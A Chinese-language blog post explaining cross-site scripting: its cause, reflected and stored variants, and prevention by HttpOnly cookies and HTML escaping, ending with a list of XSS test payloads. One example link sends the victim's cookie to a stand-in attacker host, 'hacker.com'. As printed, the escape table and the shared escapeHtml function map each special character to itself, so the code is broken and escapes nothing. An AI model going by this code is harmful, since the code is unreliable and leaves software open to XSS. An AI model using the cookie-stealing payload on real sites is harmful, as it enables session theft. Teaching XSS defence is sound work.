你听说过 XSS 吗?
XSS(Cross-site scripting, 跨站脚本)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。 研究表明,最近几年 XSS 已经超过 “缓冲区溢出” 成为最流行的攻击方式,有 68%的网站可能遭受此类攻击。
那么检测一下你是否充分了解 XSS 吧
- XSS 为什么会发生?
- XSS 有几种类型?
- XSS 如何预防和修复?
如果可以回答 👆3 个问题,这篇文章对你提升是微乎其微的。 如果不可以,你可以花十分钟左右阅读一下。
我目前的客户是一家银行,因为企业特性和业务需求,对系统安全高度重视。
因此,我不得不分析了整个系统,从中找出未对应 XSS 的 Code 。说实话,虽然是企业内部系统,但是代码也不少,看代码看的我都快吐了。
得益于此,让我对XSS
的理解更加深了一层。
1. XSS 为什么会发生?
因为用户输入的数据被当成代码执行了。
那么,为什么用户输入的数据会被当成代码并且被执行呢?
因为当用户输入尖括号< >
,引号'
"
,斜杠/
之类的特殊字符时,可能**破坏原始的代码结构**,导致输入的部分内容被当成代码,并且被执行。
[小例子] 假如有下面一个 textbox
<input type="text" name="message" value="hello tj">
hello tj
是来自用户的输入,如果用户不是输入hello tj
,而是输入"/><script>alert(document.cookie)</script><p name="
那么就会变成 👇 的样子。
<input type="text" name="address1" value="" /><script>
alert(document.cookie)
</script>
<p name=""></p>
可不可怕?
2. XSS 有几种类型?
XSS 有两种类型,反射型XSS
和持久型XSS
。
反射型 XSS
也就是非持久型 XSS,常见诱骗用户点击带有攻击代码的 URL 链接,链接被浏览器执行,从而攻击用户。 只有当前用户被影响,影响范围:小。
[小例子]
<a
href="http://xxx91.com/index?term=<script>window.open('http://hacker.com?yourcookie='+document.cookie)</script>"
>小姐姐</a
>
如果你点击了 👆 链接,你 cookie 信息就有可能被发送到黑客的服务器http://hacker.com
。
虽然链接可能被用户怀疑,但是可以通过短网址服务将之缩短,从而隐藏攻击代码。
持久型 XSS
也叫存储型 XSS,提交包含攻击代码的数据到服务器。 所有浏览这部分数据的用户都将被攻击代码影响,影响范围:大
[小例子]
html 模版如下:
<input type="text" name="message" value="${message}" />
当从数据库查询的 message 如下:
"/><script>alert(document.cookie)</script><p name="
生成的 html 将变成 👇:
<input type="text" name="address1" value="" /><script>
alert(document.cookie)
</script>
<p name=""></p>
此时,html 可能已经不受我们控制了。
3. XSS 如何预防和修复?
原则:所有用户输入都是不可信的。(注意:攻击代码不一定仅在<script></script>
中。)
- 预防 反射型 XSS
将重要的 cookie 标记为http only
,这样的话 Javascript 中的 document.cookie 语句就不能获取到 cookie 了。
- 预防 持久型 XSS
处理掉可能破坏原始代码结构的特殊字符。将特殊字符编码成转义字符,使其成为数据的一部分而不是代码。
[需要编码的 7 个字符]
& –> &
< –> <
> –> >
" –> "
` -> `
' –> '
/ –> /
有两点需要特别说明的是:
- 不推荐将单引号
'
编码为&apos
; ,因为它并不是标准的 HTML 标签 - 需要对斜杠号
/
编码,因为在进行 XSS 攻击时,斜杠号对于关闭当前 HTML 标签非常有用
(最后)
- 分享一段简单的代码
function escapeHtml(value) {
if (typeof value !== "string") {
return value
}
return value.replace(/[&<>`"'\/]/g, function(result) {
return {
"&": "&",
"<": "<",
">": ">",
"`": "`",
'"': """,
"'": "'",
"/": "/",
}[result]
})
}
- 分享一些用于检测 XSS 的测试用例
><script>
alert(document.cookie)
</script>
='><script>
alert(document.cookie)
</script>
"><script>
alert(document.cookie)
</script>
<script>
alert(document.cookie)
</script>
<script>
alert(vulnerable)
</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>
alert("XSS")
</script>
<img src="javascript:alert('XSS')" />
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')" />
希望这篇文章对你有帮助。